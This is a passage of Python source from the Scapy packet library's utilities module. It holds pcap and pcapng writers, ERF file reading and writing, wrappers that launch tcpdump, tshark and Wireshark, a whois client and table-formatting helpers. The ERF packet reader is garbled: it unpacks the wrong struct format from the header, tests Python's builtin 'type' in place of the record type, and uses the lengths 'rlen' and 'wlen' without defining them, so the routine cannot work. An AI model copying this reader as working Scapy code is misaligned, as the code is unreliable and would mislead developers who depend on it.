self.snaplen, self.linktype)) self.f.flush() def _write_packet(self, packet, # type: Union[bytes, Packet] linktype, # type: int sec=None, # type: Optional[float] usec=None, # type: Optional[int] caplen=None, # type: Optional[int] wirelen=None, # type: Optional[int] ifname=None, # type: Optional[bytes] direction=None, # type: Optional[int] comments=None, # type: Optional[List[bytes]] ): # type: (...) -> None """ Writes a single packet to the pcap file. :param packet: bytes for a single packet :type packet: bytes :param linktype: linktype value associated with the packet :type linktype: int :param sec: time the packet was captured, in seconds since epoch. If not supplied, defaults to now. :type sec: float :param usec: not used with pcapng packet was captured :type usec: int or long :param caplen: The length of the packet in the capture file. If not specified, uses ``len(packet)``. :type caplen: int :param wirelen: The length of the packet on the wire. If not specified, uses ``caplen``. :type wirelen: int :return: None :rtype: None """ if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen if sec is None or usec is None: t = time.time() it = int(t) if sec is None: sec = it usec = int(round((t - it) * (1000000000 if self.nano else 1000000))) elif usec is None: usec = 0 self.f.write(struct.pack(self.endian + "IIII", int(sec), usec, caplen, wirelen)) self.f.write(bytes(packet)) if self.sync: self.f.flush() class RawPcapNgWriter(GenericRawPcapWriter): """A stream pcapng writer with more control than wrpcapng()""" def __init__(self, filename, # type: str ): # type: (...) -> None self.header_present = False self.tsresol = 1000000 # A dict to keep if_name to IDB id mapping. # unknown if_name(None) id=0 self.interfaces2id: Dict[Optional[bytes], int] = {None: 0} # tcpdump only support little-endian in PCAPng files self.endian = "<" self.endian_magic = b"\x4d\x3c\x2b\x1a" self.filename = filename self.f = open(filename, "wb", 4096) def _get_time(self, packet, # type: Union[bytes, Packet] sec, # type: Optional[float] usec # type: Optional[int] ): # type: (...) -> Tuple[float, int] if hasattr(packet, "time"): if sec is None: sec = float(packet.time) if usec is None: usec = 0 return sec, usec # type: ignore def _add_padding(self, raw_data): # type: (bytes) -> bytes raw_data += ((-len(raw_data)) % 4) * b"\x00" return raw_data def build_block(self, block_type, block_body, options=None): # type: (bytes, bytes, Optional[bytes]) -> bytes # Pad Block Body to 32 bits block_body = self._add_padding(block_body) if options: block_body += options # An empty block is 12 bytes long block_total_length = 12 + len(block_body) # Block Type block = block_type # Block Total Length$ block += struct.pack(self.endian + "I", block_total_length) # Block Body block += block_body # Block Total Length$ block += struct.pack(self.endian + "I", block_total_length) return block def _write_header(self, pkt): # type: (Optional[Union[Packet, bytes]]) -> None if not self.header_present: self.header_present = True self._write_block_shb() self._write_block_idb(linktype=self.linktype) def _write_block_shb(self): # type: () -> None # Block Type block_type = b"\x0A\x0D\x0D\x0A" # Byte-Order Magic block_shb = self.endian_magic # Major Version block_shb += struct.pack(self.endian + "H", 1) # Minor Version block_shb += struct.pack(self.endian + "H", 0) # Section Length block_shb += struct.pack(self.endian + "q", -1) self.f.write(self.build_block(block_type, block_shb)) def _write_block_idb(self, linktype, # type: int ifname=None # type: Optional[bytes] ): # type: (...) -> None # Block Type block_type = struct.pack(self.endian + "I", 1) # LinkType block_idb = struct.pack(self.endian + "H", linktype) # Reserved block_idb += struct.pack(self.endian + "H", 0) # SnapLen block_idb += struct.pack(self.endian + "I", 262144) # if_name option opts = None if ifname is not None: opts = struct.pack(self.endian + "HH", 2, len(ifname)) # Pad Option Value to 32 bits opts += self._add_padding(ifname) opts += struct.pack(self.endian + "HH", 0, 0) self.f.write(self.build_block(block_type, block_idb, options=opts)) def _write_block_spb(self, raw_pkt): # type: (bytes) -> None # Block Type block_type = struct.pack(self.endian + "I", 3) # Original Packet Length block_spb = struct.pack(self.endian + "I", len(raw_pkt)) # Packet Data block_spb += raw_pkt self.f.write(self.build_block(block_type, block_spb)) def _write_block_epb(self, raw_pkt, # type: bytes ifid, # type: int timestamp=None, # type: Optional[Union[EDecimal, float]] # noqa: E501 caplen=None, # type: Optional[int] orglen=None, # type: Optional[int] comments=None, # type: Optional[List[bytes]] flags=None, # type: Optional[int] ): # type: (...) -> None if timestamp: tmp_ts = int(timestamp * self.tsresol) ts_high = tmp_ts >> 32 ts_low = tmp_ts & 0xFFFFFFFF else: ts_high = ts_low = 0 if not caplen: caplen = len(raw_pkt) if not orglen: orglen = len(raw_pkt) # Block Type block_type = struct.pack(self.endian + "I", 6) # Interface ID block_epb = struct.pack(self.endian + "I", ifid) # Timestamp (High) block_epb += struct.pack(self.endian + "I", ts_high) # Timestamp (Low) block_epb += struct.pack(self.endian + "I", ts_low) # Captured Packet Length block_epb += struct.pack(self.endian + "I", caplen) # Original Packet Length block_epb += struct.pack(self.endian + "I", orglen) # Packet Data block_epb += raw_pkt # Options opts = b'' if comments and len(comments): for c in comments: comment = bytes_encode(c) opts += struct.pack(self.endian + "HH", 1, len(comment)) # Pad Option Value to 32 bits opts += self._add_padding(comment) if type(flags) == int: opts += struct.pack(self.endian + "HH", 2, 4) opts += struct.pack(self.endian + "I", flags) if opts: opts += struct.pack(self.endian + "HH", 0, 0) self.f.write(self.build_block(block_type, block_epb, options=opts)) def _write_packet(self, # type: ignore packet, # type: bytes linktype, # type: int sec=None, # type: Optional[float] usec=None, # type: Optional[int] caplen=None, # type: Optional[int] wirelen=None, # type: Optional[int] ifname=None, # type: Optional[bytes] direction=None, # type: Optional[int] comments=None, # type: Optional[List[bytes]] ): # type: (...) -> None """ Writes a single packet to the pcap file. :param packet: bytes for a single packet :type packet: bytes :param linktype: linktype value associated with the packet :type linktype: int :param sec: time the packet was captured, in seconds since epoch. If not supplied, defaults to now. :type sec: float :param caplen: The length of the packet in the capture file. If not specified, uses ``len(packet)``. :type caplen: int :param wirelen: The length of the packet on the wire. If not specified, uses ``caplen``. :type wirelen: int :param comment: UTF-8 string containing human-readable comment text that is associated to the current block. Line separators SHOULD be a carriage-return + linefeed ('\r\n') or just linefeed ('\n'); either form may appear and be considered a line separator. The string is not zero-terminated. :type bytes :param ifname: UTF-8 string containing the name of the device used to capture data. The string is not zero-terminated. :type bytes :param direction: 0 = information not available, 1 = inbound, 2 = outbound :type int :return: None :rtype: None """ if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen ifid = self.interfaces2id.get(ifname, None) if ifid is None: ifid = max(self.interfaces2id.values()) + 1 self.interfaces2id[ifname] = ifid self._write_block_idb(linktype=linktype, ifname=ifname) # EPB flags (32 bits). # currently only direction is implemented (least 2 significant bits) if type(direction) == int: flags = direction & 0x3 else: flags = None self._write_block_epb(packet, timestamp=sec, caplen=caplen, orglen=wirelen, comments=comments, ifid=ifid, flags=flags) if self.sync: self.f.flush() class PcapWriter(RawPcapWriter): """A stream PCAP writer with more control than wrpcap()""" pass class PcapNgWriter(RawPcapNgWriter): """A stream pcapng writer with more control than wrpcapng()""" def _get_time(self, packet, # type: Union[bytes, Packet] sec, # type: Optional[float] usec # type: Optional[int] ): # type: (...) -> Tuple[float, int] if hasattr(packet, "time"): if sec is None: sec = float(packet.time) if usec is None: usec = 0 return sec, usec # type: ignore @conf.commands.register def rderf(filename, count=-1): # type: (Union[IO[bytes], str], int) -> PacketList """Read a ERF file and return a packet list :param count: read only packets """ with ERFEthernetReader(filename) as fdesc: return fdesc.read_all(count=count) class ERFEthernetReader_metaclass(PcapReader_metaclass): def __call__(cls, filename): # type: (Union[IO[bytes], str]) -> Any i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) # type: ignore filename, fdesc = cls.open(filename) try: i.__init__(filename, fdesc) return i except (Scapy_Exception, EOFError): pass if "alternative" in cls.__dict__: cls = cls.__dict__["alternative"] i = cls.__new__( cls, cls.__name__, cls.__bases__, cls.__dict__ # type: ignore ) try: i.__init__(filename, fdesc) return i except (Scapy_Exception, EOFError): pass raise Scapy_Exception("Not a supported capture file") @staticmethod def open(fname # type: ignore ): # type: (...) -> Tuple[str, _ByteStream] """Open (if necessary) filename""" if isinstance(fname, str): filename = fname try: with gzip.open(filename, "rb") as tmp: tmp.read(1) fdesc = gzip.open(filename, "rb") # type: _ByteStream except IOError: fdesc = open(filename, "rb") else: fdesc = fname filename = getattr(fdesc, "name", "No name") return filename, fdesc class ERFEthernetReader(PcapReader, metaclass=ERFEthernetReader_metaclass): def __init__(self, filename, fdesc=None): # type: ignore # type: (Union[IO[bytes], str], IO[bytes]) -> None self.filename = filename # type: ignore self.f = fdesc self.power = Decimal(10) ** Decimal(-9) # time is in 64-bits Endace's format which can be see here: # https://www.endace.com/erf-extensible-record-format-types.pdf def _convert_erf_timestamp(self, t): # type: (int) -> EDecimal sec = t >> 32 frac_sec = t & 0xffffffff frac_sec *= 10**9 frac_sec += (frac_sec & 0x80000000) << 1 frac_sec >>= 32 return EDecimal(sec + self.power * frac_sec) # The details of ERF Packet format can be see here: # https://www.endace.com/erf-extensible-record-format-types.pdf def read_packet(self, size=MTU, **kwargs): # type: (int, **Any) -> Packet # General ERF Header have exactly 16 bytes hdr = self.f.read(16) if len(hdr) < 16: raise EOFError # The timestamp is in little-endian byte-order. time = struct.unpack('BBHHH', hdr[8:]) # Check if the type != 0x02, type Ethernet if type & 0x02 == 0: raise Scapy_Exception("Invalid ERF Type (Not TYPE_ETH)") # If there are extended headers, ignore it because Packet object does # not support it. Extended headers size is 8 bytes before the payload. if type & 0x80: _ = self.f.read(8) s = self.f.read(rlen - 24) else: s = self.f.read(rlen - 16) # Ethernet has 2 bytes of padding containing `offset` and `pad`. Both # of the fields are disregarded by Endace. pb = s[2:size] from scapy.layers.l2 import Ether try: p = Ether(pb, **kwargs) # type: Packet except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (Ether, s) raise if conf.raw_layer is None: # conf.raw_layer is set on import import scapy.packet # noqa: F401 p = conf.raw_layer(s) p.time = self._convert_erf_timestamp(time) p.wirelen = wlen return p @conf.commands.register def wrerf(filename, # type: Union[IO[bytes], str] pkt, # type: _PacketIterable *args, # type: Any **kargs # type: Any ): # type: (...) -> None """Write a list of packets to a ERF file :param filename: the name of the file to write packets to, or an open, writable file-like object. The file descriptor will be closed at the end of the call, so do not use an object you do not want to close (e.g., running wrerf(sys.stdout, []) in interactive mode will crash Scapy). :param gz: set to 1 to save a gzipped capture :param append: append packets to the capture file instead of truncating it :param sync: do not bufferize writes to the capture file """ with ERFEthernetWriter(filename, *args, **kargs) as fdesc: fdesc.write(pkt) class ERFEthernetWriter(PcapWriter): """A stream ERF Ethernet writer with more control than wrerf()""" def __init__(self, filename, # type: Union[IO[bytes], str] gz=False, # type: bool append=False, # type: bool sync=False, # type: bool ): # type: (...) -> None """ :param filename: the name of the file to write packets to, or an open, writable file-like object. :param gz: compress the capture on the fly :param append: append packets to the capture file instead of truncating it :param sync: do not bufferize writes to the capture file """ super(ERFEthernetWriter, self).__init__(filename, gz=gz, append=append, sync=sync) def write(self, pkt): # type: ignore # type: (_PacketIterable) -> None """ Writes a Packet, a SndRcvList object, or bytes to a ERF file. :param pkt: Packet(s) to write (one record for each Packet) :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet """ # Import here to avoid circular dependency from scapy.supersocket import IterSocket for p in IterSocket(pkt).iter: self.write_packet(p) def write_packet(self, pkt): # type: ignore # type: (Packet) -> None if hasattr(pkt, "time"): sec = int(pkt.time) usec = int((int(round((pkt.time - sec) * 10**9)) << 32) / 10**9) t = (sec << 32) + usec else: t = int(time.time()) << 32 # There are 16 bytes of headers + 2 bytes of padding before the packets # payload. rlen = len(pkt) + 18 if hasattr(pkt, "wirelen"): wirelen = pkt.wirelen if wirelen is None: wirelen = rlen self.f.write(struct.pack("BBHHHH", 2, 0, rlen, 0, wirelen, 0)) self.f.write(bytes(pkt)) self.f.flush() def close(self): # type: () -> Optional[Any] return self.f.close() @conf.commands.register def import_hexcap(input_string=None): # type: (Optional[str]) -> bytes """Imports a tcpdump like hexadecimal view e.g: exported via hexdump() or tcpdump or wireshark's "export as hex" :param input_string: String containing the hexdump input to parse. If None, read from standard input. """ re_extract_hexcap = re.compile(r"^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") # noqa: E501 p = "" try: if input_string: input_function = StringIO(input_string).readline else: input_function = input while True: line = input_function().strip() if not line: break try: p += re_extract_hexcap.match(line).groups()[2] # type: ignore except Exception: warning("Parsing error during hexcap") continue except EOFError: pass p = p.replace(" ", "") return hex_bytes(p) @conf.commands.register def wireshark(pktlist, wait=False, **kwargs): # type: (List[Packet], bool, **Any) -> Optional[Any] """ Runs Wireshark on a list of packets. See :func:`tcpdump` for more parameter description. Note: this defaults to wait=False, to run Wireshark in the background. """ return tcpdump(pktlist, prog=conf.prog.wireshark, wait=wait, **kwargs) @conf.commands.register def tdecode( pktlist, # type: Union[IO[bytes], None, str, _PacketIterable] args=None, # type: Optional[List[str]] **kwargs # type: Any ): # type: (...) -> Any """ Run tshark on a list of packets. :param args: If not specified, defaults to ``tshark -V``. See :func:`tcpdump` for more parameters. """ if args is None: args = ["-V"] return tcpdump(pktlist, prog=conf.prog.tshark, args=args, **kwargs) def _guess_linktype_name(value): # type: (int) -> str """Guess the DLT name from its value.""" from scapy.libs.winpcapy import pcap_datalink_val_to_name return cast(bytes, pcap_datalink_val_to_name(value)).decode() def _guess_linktype_value(name): # type: (str) -> int """Guess the value of a DLT name.""" from scapy.libs.winpcapy import pcap_datalink_name_to_val val = cast(int, pcap_datalink_name_to_val(name.encode())) if val == -1: warning("Unknown linktype: %s. Using EN10MB", name) return DLT_EN10MB return val @conf.commands.register def tcpdump( pktlist=None, # type: Union[IO[bytes], None, str, _PacketIterable] dump=False, # type: bool getfd=False, # type: bool args=None, # type: Optional[List[str]] flt=None, # type: Optional[str] prog=None, # type: Optional[Any] getproc=False, # type: bool quiet=False, # type: bool use_tempfile=None, # type: Optional[Any] read_stdin_opts=None, # type: Optional[Any] linktype=None, # type: Optional[Any] wait=True, # type: bool _suppress=False # type: bool ): # type: (...) -> Any """Run tcpdump or tshark on a list of packets. When using ``tcpdump`` on OSX (``prog == conf.prog.tcpdump``), this uses a temporary file to store the packets. This works around a bug in Apple's version of ``tcpdump``: http://apple.stackexchange.com/questions/152682/ Otherwise, the packets are passed in stdin. This function can be explicitly enabled or disabled with the ``use_tempfile`` parameter. When using ``wireshark``, it will be called with ``-ki -`` to start immediately capturing packets from stdin. Otherwise, the command will be run with ``-r -`` (which is correct for ``tcpdump`` and ``tshark``). This can be overridden with ``read_stdin_opts``. This has no effect when ``use_tempfile=True``, or otherwise reading packets from a regular file. :param pktlist: a Packet instance, a PacketList instance or a list of Packet instances. Can also be a filename (as a string), an open file-like object that must be a file format readable by tshark (Pcap, PcapNg, etc.) or None (to sniff) :param flt: a filter to use with tcpdump :param dump: when set to True, returns a string instead of displaying it. :param getfd: when set to True, returns a file-like object to read data from tcpdump or tshark from. :param getproc: when set to True, the subprocess.Popen object is returned :param args: arguments (as a list) to pass to tshark (example for tshark: args=["-T", "json"]). :param prog: program to use (defaults to tcpdump, will work with tshark) :param quiet: when set to True, the process stderr is discarded :param use_tempfile: When set to True, always use a temporary file to store packets. When set to False, pipe packets through stdin. When set to None (default), only use a temporary file with ``tcpdump`` on OSX. :param read_stdin_opts: When set, a list of arguments needed to capture from stdin. Otherwise, attempts to guess. :param linktype: A custom DLT value or name, to overwrite the default values. :param wait: If True (default), waits for the process to terminate before returning to Scapy. If False, the process will be detached to the background. If dump, getproc or getfd is True, these have the same effect as ``wait=False``. Examples:: >>> tcpdump([IP()/TCP(), IP()/UDP()]) reading from file -, link-type RAW (Raw IP) 16:46:00.474515 IP 127.0.0.1.20 > 127.0.0.1.80: Flags [S], seq 0, win 8192, length 0 # noqa: E501 16:46:00.475019 IP 127.0.0.1.53 > 127.0.0.1.53: [|domain] >>> tcpdump([IP()/TCP(), IP()/UDP()], prog=conf.prog.tshark) 1 0.000000 127.0.0.1 -> 127.0.0.1 TCP 40 20->80 [SYN] Seq=0 Win=8192 Len=0 # noqa: E501 2 0.000459 127.0.0.1 -> 127.0.0.1 UDP 28 53->53 Len=0 To get a JSON representation of a tshark-parsed PacketList(), one can:: >>> import json, pprint >>> json_data = json.load(tcpdump(IP(src="217.25.178.5", ... dst="45.33.32.156"), ... prog=conf.prog.tshark, ... args=["-T", "json"], ... getfd=True)) >>> pprint.pprint(json_data) [{u'_index': u'packets-2016-12-23', u'_score': None, u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20', u'frame.encap_type': u'7', [...] }, u'ip': {u'ip.addr': u'45.33.32.156', u'ip.checksum': u'0x0000a20d', [...] u'ip.ttl': u'64', u'ip.version': u'4'}, u'raw': u'Raw packet data'}}, u'_type': u'pcap_file'}] >>> json_data[0]['_source']['layers']['ip']['ip.ttl'] u'64' """ getfd = getfd or getproc if prog is None: if not conf.prog.tcpdump: raise Scapy_Exception( "tcpdump is not available" ) prog = [conf.prog.tcpdump] elif isinstance(prog, str): prog = [prog] else: raise ValueError("prog must be a string") if linktype is not None: if isinstance(linktype, int): # Guess name from value try: linktype_name = _guess_linktype_name(linktype) except StopIteration: linktype = -1 else: # Guess value from name if linktype.startswith("DLT_"): linktype = linktype[4:] linktype_name = linktype try: linktype = _guess_linktype_value(linktype) except KeyError: linktype = -1 if linktype == -1: raise ValueError( "Unknown linktype. Try passing its datalink name instead" ) prog += ["-y", linktype_name] # Build Popen arguments if args is None: args = [] else: # Make a copy of args args = list(args) if flt is not None: # Check the validity of the filter if linktype is None and isinstance(pktlist, str): # linktype is unknown but required. Read it from file with PcapReader(pktlist) as rd: if isinstance(rd, PcapNgReader): # Get the linktype from the first packet try: _, metadata = rd._read_packet() linktype = metadata.linktype if OPENBSD and linktype == 228: linktype = DLT_RAW except EOFError: raise ValueError( "Cannot get linktype from a PcapNg packet." ) else: linktype = rd.linktype from scapy.arch.common import compile_filter compile_filter(flt, linktype=linktype) args.append(flt) stdout = subprocess.PIPE if dump or getfd else None stderr = open(os.devnull) if quiet else None proc = None if use_tempfile is None: # Apple's tcpdump cannot read from stdin, see: # http://apple.stackexchange.com/questions/152682/ use_tempfile = DARWIN and prog[0] == conf.prog.tcpdump if read_stdin_opts is None: if prog[0] == conf.prog.wireshark: # Start capturing immediately (-k) from stdin (-i -) read_stdin_opts = ["-ki", "-"] elif prog[0] == conf.prog.tcpdump and not OPENBSD: # Capture in packet-buffered mode (-U) from stdin (-r -) read_stdin_opts = ["-U", "-r", "-"] else: read_stdin_opts = ["-r", "-"] else: # Make a copy of read_stdin_opts read_stdin_opts = list(read_stdin_opts) if pktlist is None: # sniff with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + args, stdout=stdout, stderr=stderr, ) elif isinstance(pktlist, str): # file with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + ["-r", pktlist] + args, stdout=stdout, stderr=stderr, ) elif use_tempfile: tmpfile = get_temp_file( # type: ignore autoext=".pcap", fd=True ) # type: IO[bytes] try: tmpfile.writelines( iter(lambda: pktlist.read(1048576), b"") # type: ignore ) except AttributeError: pktlist = cast("_PacketIterable", pktlist) wrpcap(tmpfile, pktlist, linktype=linktype) else: tmpfile.close() with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + ["-r", tmpfile.name] + args, stdout=stdout, stderr=stderr, ) else: try: pktlist.fileno() # type: ignore # pass the packet stream with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + read_stdin_opts + args, stdin=pktlist, # type: ignore stdout=stdout, stderr=stderr, ) except (AttributeError, ValueError): # write the packet stream to stdin with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + read_stdin_opts + args, stdin=subprocess.PIPE, stdout=stdout, stderr=stderr, ) if proc is None: # An error has occurred return try: proc.stdin.writelines( # type: ignore iter(lambda: pktlist.read(1048576), b"") # type: ignore ) except AttributeError: wrpcap(proc.stdin, pktlist, linktype=linktype) # type: ignore except UnboundLocalError: # The error was handled by ContextManagerSubprocess pass else: proc.stdin.close() # type: ignore if proc is None: # An error has occurred return if dump: data = b"".join( iter(lambda: proc.stdout.read(1048576), b"") # type: ignore ) proc.terminate() return data if getproc: return proc if getfd: return proc.stdout if wait: proc.wait() @conf.commands.register def hexedit(pktlist): # type: (_PacketIterable) -> PacketList """Run hexedit on a list of packets, then return the edited packets.""" f = get_temp_file() wrpcap(f, pktlist) with ContextManagerSubprocess(conf.prog.hexedit): subprocess.call([conf.prog.hexedit, f]) rpktlist = rdpcap(f) os.unlink(f) return rpktlist def get_terminal_width(): # type: () -> Optional[int] """Get terminal width (number of characters) if in a window. Notice: this will try several methods in order to support as many terminals and OS as possible. """ sizex = shutil.get_terminal_size(fallback=(0, 0))[0] if sizex != 0: return sizex # Backups if WINDOWS: from ctypes import windll, create_string_buffer # http://code.activestate.com/recipes/440694-determine-size-of-console-window-on-windows/ h = windll.kernel32.GetStdHandle(-12) csbi = create_string_buffer(22) res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) if res: (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) # noqa: E501 sizex = right - left + 1 # sizey = bottom - top + 1 return sizex return sizex # We have various methods # COLUMNS is set on some terminals try: sizex = int(os.environ['COLUMNS']) except Exception: pass if sizex: return sizex # We can query TIOCGWINSZ try: import fcntl import termios s = struct.pack('HHHH', 0, 0, 0, 0) x = fcntl.ioctl(1, termios.TIOCGWINSZ, s) sizex = struct.unpack('HHHH', x)[1] except (IOError, ModuleNotFoundError): # If everything failed, return default terminal size sizex = 79 return sizex def pretty_list(rtlst, # type: List[Tuple[Union[str, List[str]], ...]] header, # type: List[Tuple[str, ...]] sortBy=0, # type: Optional[int] borders=False, # type: bool ): # type: (...) -> str """ Pretty list to fit the terminal, and add header. :param rtlst: a list of tuples. each tuple contains a value which can be either a string or a list of string. :param sortBy: the column id (starting with 0) which will be used for ordering :param borders: whether to put borders on the table or not """ if borders: _space = "|" else: _space = " " cols = len(header[0]) # Windows has a fat terminal border _spacelen = len(_space) * (cols - 1) + int(WINDOWS) _croped = False if sortBy is not None: # Sort correctly rtlst.sort(key=lambda x: x[sortBy]) # Resolve multi-values for i, line in enumerate(rtlst): ids = [] # type: List[int] values = [] # type: List[Union[str, List[str]]] for j, val in enumerate(line): if isinstance(val, list): ids.append(j) values.append(val or " ") if values: del rtlst[i] k = 0 for ex_vals in zip_longest(*values, fillvalue=" "): if k: extra_line = [" "] * cols else: extra_line = list(line) # type: ignore for j, h in enumerate(ids): extra_line[h] = ex_vals[j] rtlst.insert(i + k, tuple(extra_line)) k += 1 rtslst = cast(List[Tuple[str, ...]], rtlst) # Append tag rtslst = header + rtslst # Detect column's width colwidth = [max(len(y) for y in x) for x in zip(*rtslst)] # Make text fit in box (if required) width = get_terminal_width() if conf.auto_crop_tables and width: width = width - _spacelen while sum(colwidth) > width: _croped = True # Needs to be cropped # Get the longest row i = colwidth.index(max(colwidth)) # Get all elements of this row row = [len(x[i]) for x in rtslst] # Get biggest element of this row: biggest of the array j = row.index(max(row)) # Re-build column tuple with the edited element t = list(rtslst[j]) t[i] = t[i][:-2] + "_" rtslst[j] = tuple(t) # Update max size row[j] = len(t[i]) colwidth[i] = max(row) if _croped: log_runtime.info("Table cropped to fit the terminal (conf.auto_crop_tables==True)") # noqa: E501 # Generate padding scheme fmt = _space.join(["%%-%ds" % x for x in colwidth]) # Append separation line if needed if borders: rtslst.insert(1, tuple("-" * x for x in colwidth)) # Compile return "\n".join(fmt % x for x in rtslst) def human_size(x, fmt=".1f"): # type: (int, str) -> str """ Convert a size in octets to a human string representation """ units = ['K', 'M', 'G', 'T', 'P', 'E'] if not x: return "0B" i = int(math.log(x, 2**10)) if i and i < len(units): return format(x / 2**(10 * i), fmt) + units[i - 1] return str(x) + "B" def __make_table( yfmtfunc, # type: Callable[[int], str] fmtfunc, # type: Callable[[int], str] endline, # type: str data, # type: List[Tuple[Packet, Packet]] fxyz, # type: Callable[[Packet, Packet], Tuple[Any, Any, Any]] sortx=None, # type: Optional[Callable[[str], Tuple[Any, ...]]] sorty=None, # type: Optional[Callable[[str], Tuple[Any, ...]]] seplinefunc=None, # type: Optional[Callable[[int, List[int]], str]] dump=False # type: bool ): # type: (...) -> Optional[str] """Core function of the make_table suite, which generates the table""" vx = {} # type: Dict[str, int] vy = {} # type: Dict[str, Optional[int]] vz = {} # type: Dict[Tuple[str, str], str] vxf = {} # type: Dict[str, str] tmp_len = 0 for e in data: xx, yy, zz = [str(s) for s in fxyz(*e)] tmp_len = max(len(yy), tmp_len) vx[xx] = max(vx.get(xx, 0), len(xx), len(zz)) vy[yy] = None vz[(xx, yy)] = zz vxk = list(vx) vyk = list(vy) if sortx: vxk.sort(key=sortx) else: try: vxk.sort(key=int) except Exception: try: vxk.sort(key=atol) except Exception: vxk.sort() if sorty: vyk.sort(key=sorty) else: try: vyk.sort(key=int) except Exception: try: vyk.sort(key=atol) except Exception: vyk.sort() s = "" if seplinefunc: sepline = seplinefunc(tmp_len, [vx[x] for x in vxk]) s += sepline + "\n" fmt = yfmtfunc(tmp_len) s += fmt % "" s += ' ' for x in vxk: vxf[x] = fmtfunc(vx[x]) s += vxf[x] % x s += ' ' s += endline + "\n" if seplinefunc: s += sepline + "\n" for y in vyk: s += fmt % y s += ' ' for x in vxk: s += vxf[x] % vz.get((x, y), "-") s += ' ' s += endline + "\n" if seplinefunc: s += sepline + "\n" if dump: return s else: print(s, end="") return None def make_table(*args, **kargs): # type: (*Any, **Any) -> Optional[Any] return __make_table( lambda l: "%%-%is" % l, lambda l: "%%-%is" % l, "", *args, **kargs ) def make_lined_table(*args, **kargs): # type: (*Any, **Any) -> Optional[str] return __make_table( # type: ignore lambda l: "%%-%is |" % l, lambda l: "%%-%is |" % l, "", *args, seplinefunc=lambda a, x: "+".join( '-' * (y + 2) for y in [a - 1] + x + [-2] ), **kargs ) def make_tex_table(*args, **kargs): # type: (*Any, **Any) -> Optional[str] return __make_table( # type: ignore lambda l: "%s", lambda l: "& %s", "\\\\", *args, seplinefunc=lambda a, x: "\\hline", **kargs ) #################### # WHOIS CLIENT # #################### def whois(ip_address): # type: (str) -> bytes """Whois client for Python""" whois_ip = str(ip_address) try: query = socket.gethostbyname(whois_ip) except Exception: query = whois_ip s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("whois.ripe.net", 43)) s.send(query.encode("utf8") + b"\r\n") answer = b"" while True: d = s.recv(4096) answer += d if not d: break s.close() ignore_tag = b"remarks:" # ignore all lines starting with the ignore_tag lines = [line for line in answer.split(b"\n") if not line or (line and not line.startswith(ignore_tag))] # noqa: E501 # remove empty lines at the bottom for i in range(1, len(lines)): if not lines[-i].strip(): del lines[-i] else: break return b"\n".join(lines[3:]) #################### # CLI utils # #################### class _CLIUtilMetaclass(type): class TYPE(enum.Enum): COMMAND = 0 OUTPUT = 1 COMPLETE = 2 def __new__(cls, # type: Type[_CLIUtilMetaclass] name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[CLIUtil] dct["commands"] = { x.__name__: x for x in dct.values() if getattr(x, "cliutil_type", None) == _CLIUtilMetaclass.TYPE.COMMAND } dct["commands_output"] = { x.cliutil_ref.__name__: x for x in dct.values() if getattr(x, "cliutil_type", None) == _CLIUtilMetaclass.TYPE.OUTPUT } dct["commands_complete"] = { x.cliutil_ref.__name__: x for x in dct.values() if getattr(x, "cliutil_type", None) == _CLIUtilMetaclass.TYPE.COMPLETE } newcls = cast(Type['CLIUtil'], type.__new__(cls, name, bases, dct)) return newcls class CLIUtil(metaclass=_CLIUtilMetaclass): """ Provides a Util class to easily create simple CLI tools in Scapy, that can still be used as an API. Doc: - override the ps1() function - register commands with the @CLIUtil.addcomment decorator - call the loop() function when ready """ def _depcheck(self) -> None: """ Check that all dependencies are installed """ try: import prompt_toolkit # noqa: F401 except ImportError: # okay we lie but prompt_toolkit is a dependency... raise ImportError("You need to have IPython installed to use the CLI") # Okay let's do nice code commands: Dict[str, Callable[..., Any]] = {} # print output of command commands_output: Dict[str, Callable[..., str]] = {} # provides completion to command commands_complete: Dict[str, Callable[..., List[str]]] = {} def __init__(self, cli: bool = True, debug: bool = False) -> None: """ DEV: overwrite """ if cli: self._depcheck() self.loop(debug=debug) @staticmethod def _inspectkwargs(func: DecoratorCallable) -> None: """ Internal function to parse arguments from the kwargs of the functions """ func._flagnames = [ # type: ignore x.name for x in inspect.signature(func).parameters.values() if x.kind == inspect.Parameter.KEYWORD_ONLY ] func._flags = [ # type: ignore ("-%s" % x) if len(x) == 1 else ("--%s" % x) for x in func._flagnames # type: ignore ] @staticmethod def _parsekwargs( func: DecoratorCallable, args: List[str] ) -> Tuple[List[str], Dict[str, Literal[True]]]: """ Internal function to parse CLI arguments of a function. """ kwargs: Dict[str, Literal[True]] = {} if func._flags: # type: ignore i = 0 for arg in args: if arg in func._flags: # type: ignore i += 1 kwargs[func._flagnames[func._flags.index(arg)]] = True # type: ignore # noqa: E501 continue break args = args[i:] return args, kwargs @classmethod def _parseallargs( cls, func: DecoratorCallable, cmd: str, args: List[str] ) -> Tuple[List[str], Dict[str, Literal[True]], Dict[str, Literal[True]]]: """ Internal function to parse CLI arguments of both the function and its output function. """ args, kwargs = cls._parsekwargs(func, args) outkwargs: Dict[str, Literal[True]] = {} if cmd in cls.commands_output: args, outkwargs = cls._parsekwargs(cls.commands_output[cmd], args) return args, kwargs, outkwargs @classmethod def addcommand( cls, mono: bool = False, globsupport: bool = False, ) -> Callable[[DecoratorCallable], DecoratorCallable]: """ Decorator to register a command :param mono: if True, the command takes a single argument even if there are spaces. """ def func(cmd: DecoratorCallable) -> DecoratorCallable: cmd.cliutil_type = _CLIUtilMetaclass.TYPE.COMMAND # type: ignore cmd._mono = mono # 